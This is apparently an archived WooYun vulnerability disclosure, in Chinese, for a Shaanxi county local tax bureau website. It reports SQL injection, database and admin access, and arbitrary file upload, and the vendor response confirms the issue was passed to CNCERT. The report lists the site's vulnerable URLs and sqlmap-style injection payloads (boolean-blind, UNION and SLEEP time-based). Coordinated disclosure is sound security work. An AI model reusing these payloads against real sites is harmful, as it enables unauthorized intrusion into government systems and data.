当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092767

漏洞标题：陕西省某地税局多处SQL注入打包，泄露数据库及后台权限，任意上传文件

相关厂商：陕西省

漏洞作者： 幻老头儿

提交时间：2015-01-20 12:08

修复时间：2015-03-06 12:10

公开时间：2015-03-06 12:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-20： 细节已通知厂商并且等待厂商处理中
2015-01-23： 厂商已经确认，细节仅向厂商公开
2015-02-02： 细节向核心白帽子及相关领域专家公开
2015-02-12： 细节向普通白帽子公开
2015-02-22： 细节向实习白帽子公开
2015-03-06： 细节向公众公开

简要描述：

陕西省某地税局多处SQL注入打包，泄露数据库及后台权限，任意上传文件

详细说明：

石泉县地方税务局组建于1994年9月，现有干部职工66人，其中在职57人，退休及离岗9人。全局有党员38人，局党总支下设三个支部，辖党员22人，其余党员分别由辖区镇党委、支部管辖。全局干部职工有大学本科学历的20人，大专17人，中专17人。局内设四股一室，即办公室、政工股、税征股、计财股、基金股（对外为基金所），有直属单位2个：稽查局、税务分局。派出单位4个：城郊所、饶峰所、后柳所、池河所。

漏洞证明：

http://www.sqds.gov.cn/content.php?id=222
http://www.sqds.gov.cn/hfcontent.php?id=6
http://www.sqds.gov.cn/listssdt.php?id=42&&fid=38

1.png


Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=222 AND 1500=1500
    Type: UNION query
    Title: MySQL UNION query (NULL) - 12 columns
    Payload: id=-7466 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,CONCAT(0x7177637871,0x666b79766d44466f5869,0x7179747871)#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=222 AND SLEEP(5)


2.png


3.png


4.png


5.png


管理员账号登录

6.png


后台任意上传文件

7.jpg


8.jpg

修复方案：

过滤参数

版权声明：转载请注明来源 幻老头儿@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-01-23 08:57

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给陕西分中心，由陕西分中心后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论